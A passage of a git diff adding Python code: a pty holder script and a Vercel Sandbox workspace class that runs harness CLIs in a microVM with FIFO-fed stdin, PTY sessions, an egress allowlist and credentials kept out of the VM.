kind, length = self.buf[:1], struct.unpack(">I", self.buf[1:5])[0] + if len(self.buf) < 5 + length: + return + payload, self.buf = self.buf[5 : 5 + length], self.buf[5 + length :] + yield kind, payload + + +def set_size(fd: int, cols: int, rows: int) -> None: + fcntl.ioctl(fd, termios.TIOCSWINSZ, struct.pack("HHHH", rows, cols, 0, 0)) + + +def _unlink(*paths: str) -> None: + for p in paths: + with contextlib.suppress(FileNotFoundError): + os.unlink(p) + + +def main() -> int: + args = sys.argv[1:] + sock_path = args.pop(0) + transient = False + cols, rows = 80, 24 + while args and args[0] != "--": + flag = args.pop(0) + if flag == "--transient": + transient = True + elif flag == "--cols": + cols = int(args.pop(0)) + elif flag == "--rows": + rows = int(args.pop(0)) + if args and args[0] == "--": + args.pop(0) + program = args + + # The socket before the program: a client that sees the socket can + # connect before the program has written a byte, so nothing it prints + # is ever older than the scrollback. (Sockets are not inherited across + # exec, so the program never sees this one.) + server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + _unlink(sock_path) + server.bind(sock_path) + os.chmod(sock_path, 0o600) + server.listen(1) + + pid, master = pty.fork() + if pid == 0: + os.execvp(program[0], program) + set_size(master, cols, rows) + with open(sock_path + ".pid", "w") as f: + f.write(f"{pid}\n") + + scrollback = b"" + client = None + parser = Parser() + + def send(data: bytes) -> None: + nonlocal client + if client is None: + return + try: + client.sendall(data) + except OSError: + drop_client() + + def mark_attached(*, on: bool) -> None: + # `.client` exists exactly while a client is connected, so a + # listing can say "open elsewhere" without connecting — connecting + # would take the pty from whoever has it. + if on: + with open(sock_path + ".client", "w") as f: + f.write(f"{int(time.time())}\n") + else: + _unlink(sock_path + ".client") + + def drop_client() -> None: + nonlocal client + if client is not None: + try: + client.close() + finally: + client = None + mark_attached(on=False) + if transient: + end_program() + + def end_program() -> None: + with contextlib.suppress(ProcessLookupError): + os.kill(pid, signal.SIGHUP) + + def drain_master() -> None: + # Whatever the program wrote last may still sit in the master when + # its exit is noticed (Linux reports the exit before the EOF). + nonlocal scrollback + os.set_blocking(master, False) + while True: + try: + data = os.read(master, 65536) + except OSError: + return + if not data: + return + scrollback = (scrollback + data)[-SCROLLBACK:] + send(frame(b"o", data)) + + def finish(raw_status: int) -> int: + nonlocal client, parser + drain_master() + if client is None: + # Ended before anyone attached: give the client that started it + # a moment to arrive for the output and the status, rather than + # unlinking the socket under its feet. + server.settimeout(FIRST_CLIENT_GRACE) + with contextlib.suppress(OSError): + client, parser = server.accept()[0], Parser() + if scrollback: + send(frame(b"o", scrollback)) + status = os.waitstatus_to_exitcode(raw_status) + send(frame(b"x", str(status).encode())) + if client is not None: + client.close() + server.close() + _unlink(sock_path, sock_path + ".pid", sock_path + ".client") + return status + + while True: + fds = [master, server] + ([client] if client is not None else []) + try: + ready, _, _ = select.select(fds, [], [], 1.0) + except InterruptedError: + continue + for fd in ready: + if fd is server: + conn, _ = server.accept() + if client is not None: + with contextlib.suppress(OSError): + client.close() + client, parser = conn, Parser() + mark_attached(on=True) + if scrollback: + send(frame(b"o", scrollback)) + elif fd == master: + try: + data = os.read(master, 65536) + except OSError: + data = b"" + if not data: + _, raw = os.waitpid(pid, 0) + return finish(raw) + scrollback = (scrollback + data)[-SCROLLBACK:] + send(frame(b"o", data)) + elif client is not None and fd is client: + try: + data = client.recv(65536) + except OSError: + data = b"" + if not data: + drop_client() + continue + for kind, payload in parser.feed(data): + if kind == b"i": + os.write(master, payload) + elif kind == b"r": + c, r = (int(x) for x in payload.decode().split(",")) + set_size(master, c, r) + os.kill(pid, signal.SIGWINCH) + elif kind == b"d": + drop_client() + elif kind == b"c": + end_program() + # A program that ended while nobody was attached still needs reaping. + try: + done, raw = os.waitpid(pid, os.WNOHANG) + except ChildProcessError: + done, raw = 0, 0 + if done: + return finish(raw) + + +if __name__ == "__main__": + sys.exit(main() or 0) diff --git a/src/ai/workspaces/experimental/_sandbox.py b/src/ai/workspaces/experimental/_sandbox.py new file mode 100644 index 00000000..fd3e5a72 --- /dev/null +++ b/src/ai/workspaces/experimental/_sandbox.py @@ -0,0 +1,1269 @@ +"""A Vercel Sandbox microVM. + +Same contract as `Local`, different machine. The mapping is mechanical +because the sandbox SDK already exposes a duplex process and a filesystem: +`create_process` gives a writable stdin and readable stdout, which is +exactly what an adapter needs to tunnel a harness CLI's stdio. +""" + +from __future__ import annotations + +import asyncio +import base64 +import contextlib +import inspect +import io +import json +import os +import secrets +import shlex +import subprocess +import tarfile +import tempfile +import time +from importlib.resources import files +from pathlib import Path +from typing import TYPE_CHECKING, Any + +from ... import errors as ai_errors +from ...providers import _optional +from . import _base, _gateway, _pty +from . import errors as errors_ + +if TYPE_CHECKING: + from collections.abc import Mapping, Sequence + + from vercel import sandbox as vercel_sandbox + +DEFAULT_WORKDIR = "/vercel/sandbox" +# What `vercel env pull` writes, and what the SDK reads from it. +DEFAULT_ENV_FILE = ".env.local" +# Credentials for reaching Vercel — not configuration for the work, so +# these are kept out of the workspace environment and never shipped to the VM. +AUTH_KEYS = ( + "VERCEL_OIDC_TOKEN", + "VERCEL_TOKEN", + "VERCEL_TEAM_ID", + "VERCEL_PROJECT_ID", +) +#: What installing a harness CLI inside the VM reaches (`npm install -g`). +#: Allowed without any header rewrite when a gateway locks egress down; +#: everything not listed is refused. Add to it with `allow_hosts=`. +INSTALL_HOSTS: tuple[str, ...] = ("registry.npmjs.org",) +#: Where the workspace remembers which hosts it injects credentials for, +#: so a reconnect by name answers `injects_credentials_for` truthfully. +EGRESS_RECORD = ".ai-python/egress.json" +# Printed by the conduit shell once its terminal is in raw mode and it is +# about to become the FIFO writer. +CONDUIT_READY = "__harness_conduit_ready__" +CONDUIT_READY_TIMEOUT = 30.0 +PTY_SOCKET_WAIT = 10.0 +"""Seconds the in-VM client waits for a new holder to bind its socket.""" + +# The conduit: a pump that opens the FIFO, announces itself only once it +# owns BOTH ends, then copies the PTY to the FIFO. +# +# A shell doing `echo READY; exec cat > fifo` is not equivalent: the marker +# is printed before the exec, so bytes can arrive while nothing is reading +# the terminal yet and be lost. Measured — it fails roughly every time +# without an arbitrary sleep after the marker. Here the process that will +# do the copying is the one that says it is ready. +_PUMP = ( + "import os, sys\n" + "fd = os.open(sys.argv[1], os.O_WRONLY)\n" + # The marker arrives as an ARGUMENT, never as a literal in this source. + # Embedded, a SyntaxError traceback would echo the line containing it + # and the readiness check would match the crash. (It did.) + "sys.stdout.write(sys.argv[2] + chr(10))\n" + "sys.stdout.flush()\n" + "while True:\n" + " chunk = os.read(0, 65536)\n" + " if not chunk:\n" + " break\n" + " os.write(fd, chunk)\n" +) +# Exit code reported for a process whose sandbox was torn down under it. +TERMINATED_WITH_WORKSPACE = -1 +# How long a program gets to exit on EOF before it is killed, and how long +# a kill gets to take effect before close() gives up and says so. +EXIT_GRACE = 10.0 +KILL_GRACE = 3.0 +# Supervisor that launches a program with a durable, closeable stdin. +# +# The shell holds the FIFO's write end (fd 3) and WAITS on the program, so: +# * a conduit detaching never delivers EOF — the program keeps running; +# * any stop signal to the shell (TERM/INT/HUP via the trap, or KILL via +# the kernel closing fd 3) closes the write end, the program sees EOF on +# stdin and exits on its own terms — a graceful stop, not a SIGTERM the +# CLIs are measured to shrug off; +# * the shell lives exactly as long as the program: no holder to orphan, +# and it removes the FIFO and pid file when the program ends; +# * the program is started with fd 3 CLOSED (`3>&-`): a background child +# inherits every open fd, so without this it would hold its own +# stdin's write end and never see EOF — measured: even `cat` then +# outlived the supervisor closing fd 3 and had to be killed; +# * the program's OS pid is published to .pid, which is what makes +# liveness checkable and an escalation targetable from outside. +_SUPERVISE = ( + 'F={fifo}; mkfifo -m 600 "$F" || exit 97; exec 3<>"$F"; ' + '{program} <"$F" 3>&- & P=$!; echo "$P" >"$F.pid"; echo $$ >"$F.sup"; ' + "trap 'exec 3>&-' TERM INT HUP; S=0; " + 'while kill -0 "$P" 2>/dev/null; do wait "$P"; S=$?; done; ' + 'rm -f "$F" "$F.pid" "$F.sup"; exit $S' +) +# How much one upload request may carry. +BATCH_BYTES = 8 * 1024 * 1024 +BATCH_FILES = 400 + + +def _gone(exc: BaseException) -> bool: + """Whether this error means the sandbox itself is no longer there.""" + return "sandbox_stopped" in str(exc) or "no longer available" in str(exc) + + +class SandboxProcess(_base.Process): + """A process in the microVM. + + Its BODY runs under `create_process`, which survives the client + disconnecting and can be re-attached by id. Its STDIN is a FIFO, kept + open by a holder so that conduits attaching and detaching never deliver + EOF to the program. Input arrives over an interactive PTY session. + """ + + def __init__( + self, + proc: vercel_sandbox.Process, + sandbox: vercel_sandbox.Sandbox | None = None, + fifo: str | None = None, + ) -> None: + self._proc = proc + self._sandbox = sandbox + self._fifo = fifo + self._conduit: Any = None + self._conduit_scope: Any = None + self._os_pid: int | None = None + self._streams_closed = False + + @property + def pid(self) -> int | None: + # A sandbox process is addressed by its own id, not an OS pid this + # machine could ever signal. Its pid INSIDE the VM is `os_pid()`. + return None + + async def os_pid(self) -> int | None: + """Return the program's pid inside the VM, published by the supervisor. + + None when the program has already ended (the supervisor removed the + pid file) or this process was not launched through `spawn`. + """ + if self._os_pid is not None: + return self._os_pid + if self._sandbox is None or self._fifo is None: + return None + text = await self._run(["cat", f"{self._fifo}.pid"]) + self._os_pid = int(text) if text.strip().isdigit() else None + return self._os_pid + + async def _run(self, argv: list[str], *, timeout: float = 10) -> str: + """Run one program in the VM, bounded; its stdout, or "" on any failure. + + Plain argv, never a shell string: what these helpers need is a + handful of single programs (cat, kill, rm), and a shell buys + nothing but quoting hazards. + """ + if self._sandbox is None: + return "" + try: + async with asyncio.timeout(timeout + 5): + done = await self._sandbox.run_process( + argv[0], + argv[1:], + kill_after=timeout, + stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, + ) + return (await _text(done.stdout)).strip() + except Exception: + return "" + + async def _ok(self, argv: list[str], *, timeout: float = 10) -> bool: + """Run one program in the VM, bounded; whether it exited 0.""" + if self._sandbox is None: + return False + try: + async with asyncio.timeout(timeout + 5): + done = await self._sandbox.run_process( + argv[0], + argv[1:], + kill_after=timeout, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + return done.returncode == 0 + except Exception: + return False + + async def _alive(self) -> bool: + pid = await self.os_pid() + if pid is None: + return False + return await self._ok(["kill", "-0", str(pid)], timeout=5) + + async def write(self, data: str) -> None: + await self._ensure_conduit() + assert self._conduit is not None + await self._conduit.send(data.encode()) + + async def _ensure_conduit(self) -> None: + """Attach the input conduit on first use. + + Lazily, because opening it eagerly deadlocks a program that never + reads stdin: `cat > fifo` blocks until a reader opens the other end, + and a short-lived process has already exited by then. + """ + if self._conduit is not None: + return + if self._sandbox is None or self._fifo is None: + raise errors_.WorkspaceError( + "this process was started without an input conduit" + ) + # `stty raw -echo` matters: without it the PTY echoes everything we + # send back at us and caps input lines at ~4 KiB, silently + # corrupting any protocol with larger frames. + self._conduit_scope = self._sandbox.open_interactive( + "/bin/sh", + [ + "-c", + "stty raw -echo; exec python3 -c " + + f"{shlex.quote(_PUMP)} {shlex.quote(self._fifo)} " + + shlex.quote(CONDUIT_READY), + ], + ) + self._conduit = await self._conduit_scope.__aenter__() + await self._await_ready() + + async def _await_ready(self) -> None: + """Wait for the conduit shell to announce itself. + + `open_interactive` returns as soon as the PTY exists, which is + before the shell has exec'd into `cat`. Bytes sent in that window go + to the shell instead of the FIFO and are lost. A sleep would paper + over it; the marker makes it deterministic. + """ + seen = b"" + try: + async with asyncio.timeout(CONDUIT_READY_TIMEOUT): + while CONDUIT_READY.encode() not in seen: + chunk = await self._conduit.receive() + if not chunk: + break + seen += chunk + except TimeoutError as exc: + raise errors_.WorkspaceError( + "the sandbox input conduit never became ready" + ) from exc + + @property + def id(self) -> str: + """The sandbox-side process id — what a later client re-attaches to.""" + return self._proc.id + + async def detach(self) -> None: + """Let go of the program without ending it. + + Drops the input conduit AND closes our output readers. The readers + are ours, not the program's: closing them affects nothing in the VM, + while leaving them open hands a half-iterated HTTP stream to garbage + collection at interpreter exit — which is what printed + `aclose(): asynchronous generator is already running` after + perfectly successful runs. Callers stop their reader tasks first + (the SDK client's disconnect, the JSON-RPC peer's close), so by the + time this runs the streams are idle and close cleanly. + """ + if self._conduit_scope is not None: + with contextlib.suppress(Exception): + async with asyncio.timeout(10): + await self._conduit_scope.__aexit__(None, None, None) + self._conduit_scope = None + self._conduit = None + await self._close_streams() + + async def readline(self) -> str: + assert self._proc.stdout is not None, "spawned with stdout piped" + try: + return await self._proc.stdout.readline() + except Exception as exc: + raise errors_.WorkspaceError( + "the sandbox is gone; its process output is unreadable" + if _gone(exc) + else f"reading sandbox process output failed: {exc}" + ) from exc + + async def read_stderr(self) -> str: + assert self._proc.stderr is not None, "spawned with stderr piped" + try: + return await self._proc.stderr.read() + except Exception as exc: + if _gone(exc): + return "" + raise errors_.WorkspaceError( + f"reading sandbox stderr failed: {exc}" + ) from exc + + async def terminate(self) -> None: + """End the program — for real, and say so if it will not. + + The ladder, every rung bounded so this can never hang: + 1. drop our conduit and close our readers; + 2. stop the supervisor, which closes the FIFO's write end — the + program sees EOF on stdin and exits gracefully (EXIT_GRACE); + 3. still alive: SIGKILL the program by pid, and anything else that + holds the FIFO (a stale conduit pump), then wait KILL_GRACE; + 4. still alive: raise. A close() that returns means the process is + gone; one that lies would be worse than one that fails. + The FIFO and pid file are removed on every path. + """ + await self.detach() + pid = await self.os_pid() + with contextlib.suppress(Exception): + async with asyncio.timeout(10): + await self._proc.terminate() + supervisor = await self._run(["cat", f"{self._fifo}.sup"]) + if supervisor.isdigit(): + # Closes the FIFO's write end via the trap: EOF, a graceful exit. + await self._run(["kill", "-TERM", supervisor]) + if pid is not None and not await self._gone_within(EXIT_GRACE): + await self._run(["kill", "-KILL", str(pid)]) + # Anything else still holding the FIFO — a stale conduit pump. + await self._run(["pkill", "-KILL", "-f", str(self._fifo)]) + if not await self._gone_within(KILL_GRACE): + raise errors_.WorkspaceError( + f"sandbox process {pid} survived EOF and SIGKILL; it is " + "still running" + ) + if self._fifo is not None: + await self._run( + [ + "rm", + "-f", + self._fifo, + f"{self._fifo}.pid", + f"{self._fifo}.sup", + ], + timeout=5, + ) + + async def _gone_within(self, seconds: float) -> bool: + """Poll the program's liveness inside the VM until it is gone.""" + deadline = asyncio.get_running_loop().time() + seconds + while True: + if not await self._alive(): + return True + if asyncio.get_running_loop().time() >= deadline: + return False + await asyncio.sleep(0.5) + + async def _close_streams(self) -> None: + """Close the output readers before the process goes away. + + Left to garbage collection, the SDK's HTTP byte stream is finalized + while still iterating and Python reports `aclose(): asynchronous + generator is already running` on stderr — after a perfectly + successful run. Closing them here is deterministic and keeps that + noise off a working program. + """ + if self._streams_closed: + return + self._streams_closed = True + for stream in (self._proc.stdout, self._proc.stderr): + if stream is not None and hasattr(stream, "aclose"): + # Bounded: aclose() on a stream some other task is still + # iterating blocks until that iteration ends — possibly never. + with contextlib.suppress(Exception): + async with asyncio.timeout(10): + await stream.aclose() + + async def kill(self) -> None: + with contextlib.suppress(Exception): + await self._proc.kill() + + async def wait(self) -> int | None: + """Wait for the process to end. + + A stopped sandbox answers HTTP 410 for everything inside it. That is + not an error to hand the caller — the workspace was torn down, so + the process is definitively over. Anything else is a real failure + and surfaces as one. + """ + try: + return await self._proc.wait() + except Exception as exc: + if _gone(exc): + return TERMINATED_WITH_WORKSPACE + raise errors_.WorkspaceError( + f"waiting on sandbox process failed: {exc}" + ) from exc + + +class VercelSandbox(_base.Workspace): + kind = "sandbox" + # Ephemeral and ours: installing a harness here modifies nothing the + # user owns. + owner = "provider" + # Duplex after all, via the layout in `spawn`: a durable body reading a + # FIFO, plus an interactive PTY session as the input conduit. + duplex_spawn = True + + def __init__( + self, + *, + token: str | None = None, + team_id: str | None = None, + project_id: str | None = None, + workdir: str = DEFAULT_WORKDIR, + snapshot: str | None = None, + env: Mapping[str, str] | None = None, + forward_project_env: bool = False, + env_file: str | Path | None = None, + project_root: str | Path | None = None, + execution_time_limit: float | None = None, + ports: list[int] | None = None, + name: str | None = None, + keep: bool | None = None, + gateway: _gateway.Gateway | None = None, + allow_hosts: Sequence[str] = (), + ) -> None: + """Create a sandbox, or reconnect to one by `name`. + + `name` reconnects to a sandbox that already exists instead of creating + one — the idiom of `psutil.Process(pid)`: the object FOR an existing + thing. Everything inside it is then reachable: its files, the harness's + own session store, processes still running. + + `keep` decides what `close()` does. A sandbox you created is stopped + on close unless keep=True; one you reconnected to is left running + unless keep=False — you attached to something, you did not make it. + + `gateway` is where the harnesses in this VM reach their model, and + it turns the VM's egress into an allowlist: requests to the gateway + host leave with the credential written into them by the sandbox + firewall, `INSTALL_HOSTS` and `allow_hosts` are reachable as they + are, and everything else is refused. The key itself never enters + the VM — the harnesses are handed a placeholder. There is no flag to + put the real key in a sandbox; `env=` is yours for anything else. + Egress is fixed when a VM is created: reconnecting by name to one + made without a gateway and asking for one is refused. + + Needs the ``sandbox`` extra with interactive PTY support, and raises + ``ai.errors.InstallationError`` here, before anything boots, when it + is missing. + """ + sdk = _optional.import_optional_sdk( + "vercel.sandbox", extra="sandbox", feature="VercelSandbox" + ) + # vercel-sandbox 0.7.0 on PyPI has no stdin channel, and the build + # that has one reports the same version, so check the feature itself. + if not hasattr(sdk.Sandbox, "open_interactive"): + raise ai_errors.InstallationError( + "the installed vercel-sandbox has no interactive PTY support " + "(`Sandbox.open_interactive`), which VercelSandbox needs to " + "drive a harness; install a vercel-sandbox that includes " + "https://github.com/vercel/vercel-py/pull/415" + ) + self._credentials = { + k: v + for k, v in ( + ("token", token), + ("team_id", team_id), + ("project_id", project_id), + ) + if v is not None + } + self._workdir = workdir + self._snapshot = snapshot + # `.env.local` is read to AUTHENTICATE — nothing more. After + # `vercel link` + `vercel env pull` the Vercel credentials in that + # file let us create a sandbox without being passed anything. + # + # The project's other variables stay on your machine. Sending the + # contents of a secrets file to another host is not something a + # constructor should do quietly; say `env=` for what the work + # needs, or `forward_project_env=True` to send the lot deliberately. + from_file = _read_env_file(env_file, project_root) + for key in AUTH_KEYS: + if key in from_file and key not in os.environ: + os.environ[key] = from_file[key] + project_env = ( + {k: v for k, v in from_file.items() if k not in AUTH_KEYS} + if forward_project_env + else {} + ) + # The harness inside the VM cannot log in interactively; its + # credentials arrive as environment variables or not at all. Set on + # the sandbox itself, so they exist from boot — before anything is + # installed or spawned. + self.env = {**project_env, **dict(env or {})} + self.gateway = gateway + self._allow_hosts = tuple(allow_hosts) + self._brokered_hosts: set[str] = set() + self._execution_time_limit = execution_time_limit + self._name = name + self._keep = keep if keep is not None else name is not None + self._ports = list(ports or []) + self._sandbox: vercel_sandbox.Sandbox | None = None + self._children: list[SandboxProcess] = [] + + @property + def path(self) -> str: + return self._workdir + + @property + def coords(self) -> _base.WorkspaceCoords: + if self._sandbox is None: + raise errors_.WorkspaceError( + "sandbox is not open; no coordinates to name yet" + ) + return _base.WorkspaceCoords( + provider="sandbox", + location=self._sandbox.name or self._workdir, + options={"workdir": self._workdir}, + ) + + async def open(self) -> None: + if self._sandbox is not None: + return + from vercel.sandbox import create_sandbox, get_sandbox # noqa: PLC0415 + + if self._name is not None: + try: + # Same credentials create_sandbox gets: env-based auth works + # without them, but a caller who passed token=/team_id= must + # reach the same account on reconnect. + credentials: dict[str, Any] = dict(self._credentials) + self._sandbox = await get_sandbox( + name=self._name, **credentials + ) + except Exception as exc: + if _looks_like_auth_failure(exc): + raise errors_.NotAuthenticatedError( + "vercel-sandbox", str(exc)[:200], _auth_hint() + ) from exc + if ( + getattr(exc, "status_code", None) == 404 + or getattr(exc, "code", None) == "not_found" + ): + # The platform's own answer, not a failure to reach it. + raise errors_.WorkspaceGoneError( + f"no sandbox named {self._name!r} exists: {exc}" + ) from exc + raise errors_.WorkspaceError( + f"no sandbox named {self._name!r} is reachable: {exc}" + ) from exc + status = getattr(self._sandbox, "status", "") or "" + status = str(getattr(status, "value", status)) + if status and status not in ("running", "pending"): + self._sandbox = None + raise errors_.WorkspaceGoneError( + f"sandbox {self._name!r} is {status}, not running; its " + "files and " + + "processes are gone. Open a new workspace and resume the " + "session there." + ) + # Egress was decided when the VM was made; read back what it is. + self._brokered_hosts = await self._read_egress_record() + if ( + self.gateway is not None + and self.gateway.host not in self._brokered_hosts + ): + raise errors_.WorkspaceError( + f"sandbox {self._name!r} was created without credential " + "injection for " + + f"{self.gateway.host}: a harness opened here would carry " + "the real key " + + "into the VM. Open a new VercelSandbox(gateway=...) " + "instead." + ) + return + options: dict[str, Any] = dict(self._credentials) + if self.env: + options["env"] = dict(self.env) + if self._execution_time_limit is not None: + options["execution_time_limit"] = self._execution_time_limit + if self._ports: + options["ports"] = self._ports + if self._snapshot is not None: + from vercel.sandbox import SnapshotSource # noqa: PLC0415 + + options["source"] = SnapshotSource(snapshot_id=self._snapshot) + if self.gateway is not None: + options["network_policy"] = egress_policy( + self.gateway, (*INSTALL_HOSTS, *self._allow_hosts) + ) + try: + self._sandbox = await create_sandbox(**options) + except Exception as exc: + if _looks_like_auth_failure(exc): + raise errors_.NotAuthenticatedError( + "vercel-sandbox", str(exc)[:200], _auth_hint() + ) from exc + raise + await self._sandbox.fs.mkdir(self._workdir) + if self.gateway is not None: + self._brokered_hosts = {self.gateway.host} + await self._write_egress_record() + + def injects_credentials_for(self, host: str) -> bool: + return host in self._brokered_hosts + + async def _write_egress_record(self) -> None: + home = await self.home() + fs = self._live().fs + await fs.mkdir( + EGRESS_RECORD.rsplit("/", 1)[0], cwd=home, recursive=True + ) + await fs.write_text( + EGRESS_RECORD, json.dumps(sorted(self._brokered_hosts)), cwd=home + ) + + async def _read_egress_record(self) -> set[str]: + from vercel.sandbox import SandboxPathNotFoundError # noqa: PLC0415 + + try: + text = await self._live().fs.read_text( + EGRESS_RECORD, cwd=await self.home() + ) + except SandboxPathNotFoundError: + return set() + return set(json.loads(text)) + + async def close(self) -> None: + if self._sandbox is None: + return + if self._keep: + # Leave everything running: detach our conduits, keep the VM and + # its processes. This is how a conversation is handed to a VM and + # the laptop closed — the harness keeps working; the session + # store keeps filling; a later VercelSandbox(name=...) finds it. + await self._release_ptys() + for child in list(self._children): + with contextlib.suppress(Exception): + await child.detach() + self._children.clear() + self._forget_vm() + return + # Stopping the VM ends every process in it at once, so there is no + # reason to climb the per-process ladder here: just let go of our + # conduits and readers, then stop. + await self._release_ptys() + for child in list(self._children): + with contextlib.suppress(Exception): + await child.detach() + self._children.clear() + with contextlib.suppress(Exception): + async with asyncio.timeout(60): + await self._sandbox.stop() + self._forget_vm() + + @property + def name(self) -> str | None: + """The platform's name for this sandbox. None until open. + + What VercelSandbox(name=...) reconnects to. + """ + return ( + getattr(self._sandbox, "name", None) + if self._sandbox is not None + else self._name + ) + + def _live(self) -> vercel_sandbox.Sandbox: + if self._sandbox is None: + raise errors_.WorkspaceError("sandbox is not open") + return self._sandbox + + def _forget_vm(self) -> None: + """Let go of this VM and of everything learned about it. + + Reopening the same object may reach a DIFFERENT VM (no name means a new + one), whose home and scripts are its own: nothing cached may carry over. + """ + self._sandbox = None + self._home = None + self._pty_tools_cache = None + + async def spawn( + self, argv: Sequence[str], *, env: Mapping[str, str] | None = None + ) -> _base.Process: + """Start a process with duplex stdio. + + The platform's process API has no stdin, so input reaches the program + through a FIFO that an interactive PTY session feeds. + """ + sandbox = self._live() + fifo = f"/tmp/harness-{secrets.token_hex(6)}.in" + program = " ".join(shlex.quote(part) for part in argv) + # See _SUPERVISE: the shell holds the FIFO's write end and waits on + # the program, so detaching never delivers EOF, stopping the shell + # always does, and nothing outlives the program. + launch = _SUPERVISE.format(fifo=shlex.quote(fifo), program=program) + proc = await sandbox.create_process( + "/bin/sh", + ["-c", launch], + cwd=self._workdir, + env={**self.env, **(env or {})}, + ) + child = SandboxProcess(proc, sandbox, fifo) + self._children.append(child) + return child + + async def exec( + self, + argv: Sequence[str], + *, + env: Mapping[str, str] | None = None, + timeout: float | None = None, + ) -> _base.ExecResult: + command, *args = argv + done = await self._live().run_process( + command, + args, + cwd=self._workdir, + env={**self.env, **(env or {})}, + kill_after=timeout, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + return _base.ExecResult( + exit_code=done.returncode if done.returncode is not None else -1, + stdout=await _text(done.stdout), + stderr=await _text(done.stderr), + ) + + async def read_text(self, path: str) -> str: + from vercel.sandbox import SandboxPathNotFoundError # noqa: PLC0415 + + try: + return await self._live().fs.read_text(path, cwd=self._workdir) + except SandboxPathNotFoundError as exc: + # The contract is the stdlib's: a missing file raises the error + # every caller already handles, not a provider-specific one. + raise FileNotFoundError(path) from exc + + # -- pseudo-terminals ------------------------------------------------- + # + # The holder (`_pty_holder.py`) runs in the VM and owns the program's + # pty; the client (`_pty_client.py`) runs on the platform's interactive + # PTY and is the wire to its socket. Both are uploaded once per open. + # Frames pass through the platform PTY untouched because the client's + # shell sets it raw first — the same trick the stdin conduit uses. + + _pty_tools_cache: tuple[str, str, str] | None = None + _ptys: list[_pty.Pty] | None = None + + async def _release_ptys(self) -> None: + """Drop our end of every pty still open here, in THIS task. + + A pty a caller forgot to close would otherwise have its platform + session finalized by garbage collection, in whatever task runs the + finalizer — anyio refuses to exit a scope from a different task and + prints a traceback. Detaching here is quiet and correct: a named + program keeps running; an unnamed one ends with our connection. + """ + for pty in list(self._ptys or []): + with contextlib.suppress(Exception): + await pty.detach() + self._ptys = [] + + _home: str | None = None + + async def home(self) -> str: + """Return HOME in the VM, asked once and remembered. + + HOME does not change under a running sandbox, and every store lookup and + lock path starts from it (measured: up to eight identical round trips in + one listing). + """ + if self._home is None: + self._home = await super().home() + return self._home + + async def _pty_tools(self) -> tuple[str, str, str]: + """Install the holder and client scripts, and the socket directory. + + Written fresh once per connection so the VM never runs a stale copy, + in ONE batched request (the batch creates the directories; a keep + file makes the socket directory): measured, writing them one at a + time cost five round trips, about a second, before every attach. + """ + if self._pty_tools_cache is None: + bin_dir, sock_dir = ( + f"{await self.home()}/.ai-python/bin", + await self._pty_dir(), + ) + async with self._live().fs.batch() as batch: + for script in ("_pty_holder.py", "_pty_client.py"): + batch.write_bytes( + f"{bin_dir}/{script}", + ( + files("ai.workspaces.experimental") / script + ).read_bytes(), + ) + batch.write_bytes(f"{sock_dir}/.keep", b"") + self._pty_tools_cache = ( + f"{bin_dir}/_pty_holder.py", + f"{bin_dir}/_pty_client.py", + sock_dir, + ) + return self._pty_tools_cache + + async def _pty_dir(self) -> str: + return f"{await self.home()}/.ai-python/ptys" + + async def pty( + self, + argv: Sequence[str], + *, + env: Mapping[str, str] | None = None, + name: str | None = None, + size: tuple[int, int] | None = None, + ) -> _pty.Pty: + holder, _, sock_dir = await self._pty_tools() + cols, rows = size or _pty.DEFAULT_SIZE + if name is not None: + sock = f"{sock_dir}/{name}.sock" + if await self._pty_alive(sock): + raise errors_.WorkspaceError( + f"a pty named {name!r} is already running here; " + "attach(name) instead" + ) + flags: list[str] = [] + else: + sock = f"/tmp/harness-pty-{secrets.token_hex(6)}.sock" + flags = ["--transient"] + await self._live().create_process( + "python3", + [ + holder, + sock, + *flags, + "--cols", + str(cols), + "--rows", + str(rows), + "--", + *argv, + ], + cwd=self._workdir, + env={**self.env, **(env or {})}, + ) + # The client waits for the holder's socket inside the VM; no polling + # from here (measured: each look was a 0.5s round trip). + try: + return await self._connect_pty(sock, name, wait=PTY_SOCKET_WAIT) + except errors_.WorkspaceError as exc: + raise errors_.WorkspaceError( + f"the pty holder for {argv[0]!r} never opened its socket in " + "the sandbox" + ) from exc + + async def attach(self, name: str) -> _pty.Pty: + sock = f"{await self._pty_dir()}/{name}.sock" + pid = await self._holder_pid(sock) + if pid is None: + raise errors_.WorkspaceError( + f"no pty named {name!r} is running in this sandbox" + ) + return await self._connect_pty(sock, name, pid=pid) + + async def ptys(self) -> list[_pty.PtyInfo]: + # Listing needs no scripts in the VM: only the directory's contents. + sock_dir = await self._pty_dir() + listing = await self.exec(["ls", sock_dir]) + entries = set(listing.stdout.split()) + found: list[_pty.PtyInfo] = [] + for entry in sorted(entries): + if not entry.endswith(".sock"): + continue + pid = await self._holder_pid(f"{sock_dir}/{entry}") + if pid is not None: + found.append( + _pty.PtyInfo( + name=entry[: -len(".sock")], + pid=pid, + attached=f"{entry}.client" in entries, + ) + ) + return found + + async def _pty_alive(self, sock: str) -> bool: + return await self._holder_pid(sock) is not None + + async def _holder_pid(self, sock: str) -> int | None: + """Return the pid of a live holder. + + The holder writes the program's pid next to its socket and removes both + when the program ends; a pid that no longer answers is a holder that + died without cleaning up. Never probed by connecting: that would take + the pty from whoever is attached. + """ + try: + pid = (await self.read_text(f"{sock}.pid")).strip() + except FileNotFoundError: + return None + if not pid.isdigit(): + return None + return ( + int(pid) + if (await self.exec(["kill", "-0", pid])).exit_code == 0 + else None + ) + + async def _connect_pty( + self, + sock: str, + name: str | None, + *, + pid: int | None = None, + wait: float = 0, + ) -> _pty.Pty: + _, client, _ = await self._pty_tools() + marker = "__harness_pty_ready__" + scope = self._live().open_interactive( + "/bin/sh", + [ + "-c", + "stty raw -echo; exec python3 " + + shlex.join([client, sock, marker, str(wait)]), + ], + ) + conduit = await scope.__aenter__() + seen = b"" + try: + async with asyncio.timeout(CONDUIT_READY_TIMEOUT): + while marker.encode() not in seen: + chunk = await conduit.receive() + if not chunk: + break + seen += chunk + except TimeoutError as exc: + with contextlib.suppress(Exception): + await scope.__aexit__(None, None, None) + raise errors_.WorkspaceError( + "the sandbox pty client never became ready" + ) from exc + if marker.encode() not in seen: + # The client ended before connecting: no holder on that socket. + with contextlib.suppress(Exception): + await scope.__aexit__(None, None, None) + raise errors_.WorkspaceError( + f"no pty holder answered on {sock}: " + f"{seen.decode(errors='replace').strip()[-200:]}" + ) + # Frames may already follow the marker (a named pty replays 